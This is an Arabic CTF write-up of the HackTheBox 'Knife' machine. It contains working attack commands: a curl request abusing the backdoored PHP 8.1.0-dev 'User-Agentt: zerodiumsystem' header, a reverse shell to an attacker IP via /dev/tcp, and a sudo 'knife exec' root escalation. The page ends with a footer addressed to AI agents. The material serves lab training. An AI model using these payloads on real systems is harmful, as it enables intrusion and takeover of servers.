> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# شرح Knife HackTheBox

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
المهارات:

* PHP 8.1.0-dev - "User-Agent" تنفيذ تعليمات برمجية عن بُعد (RCE)
* استغلال صلاحية Sudoers (الثنائي Knife) (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/e864ee19bd1972be4757491fc74683e8a6436348" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/1180d6493aa18377f278f2c947cb121b06ba69de" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="/files/17a292bb20f16faf68699b0b52f268c508eeaa00" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

<figure><img src="/files/05ef72eed830a4d07e95ee45b6d0d135218bfa5d" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="/files/7331ed773880b3d91a9526b6cf8f3ee21f8975c8" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/41bb609e0929a203b0ed3fac6bd046c83aa1eed6" alt=""><figcaption></figcaption></figure>

باستخدام **WhatWeb** الأداة، نحدد نسخةً ضعيفة من PHP:

```bash
whatweb http://10.10.10.242
# النتيجة: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="/files/d8c5a509f39d459289794fa2c79a1124cb86dd1e" alt=""><figcaption></figcaption></figure></div>

## **الاستغلال - تنفيذ تعليمات برمجية عن بُعد عبر `User-Agent`**

تم تحديد ثغرة مرتبطة بـ User-Agent الخاص بـ PHP لهذا الإصدار.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

ثغرة في `User-Agent` تسمح بتنفيذ تعليمات برمجية عن بُعد.

1. **تنفيذ أوامر بسيط**/ إرسال طلب HTTP مع تعديل `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

المجموعة المستخدمية `james` تظهر في الاستجابة.

<figure><img src="/files/81fd93f3786eca7071277f8abf1e171bfe3226ac" alt=""><figcaption></figcaption></figure>

2. **تم الحصول على صدفة عكسية**/ قم بإعداد مستمع على جهازك:

```bash
nc -nvlp 443
```

ثم أرسل الأمر لتنفيذ غلاف عكسي:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="/files/52621f138a16ea3d5b326333cec30074d8edce6d" alt=""><figcaption></figcaption></figure>

3. **تجربة غلاف محسّنة**/ اجعل الطرفية أكثر تفاعلية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية User.txt

<figure><img src="/files/96af53fdbb18c9c5fc40f0d96ace5bffd9e4746c" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

**تحليل صلاحيات sudo**

من خلال تشغيل `sudo -l`، نلاحظ أن المستخدم يمكنه تشغيل `knife` الثنائي كجذر:

<div data-full-width="true"><figure><img src="/files/f4a73e3884d896827748c4399dc4ae45197770f9" alt=""><figcaption></figcaption></figure></div>

يُشار إلى هذا الثنائي في GTFOBins على أنه يسمح بتصعيد الامتيازات.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="/files/527ef14221ba55b1a4841d5028fe641e3b0e2031" alt=""><figcaption></figcaption></figure>

**الاستغلال**

استخدم الأمر أعلاه للحصول على غلاف root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="/files/15227c72e6a30bb7d46a960782316a29bd1ec286" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/908b8354373475b226bd8243d359373d1374ddf5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ea1021ee3f82ab3a5f9dfbbac07de03964701250" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
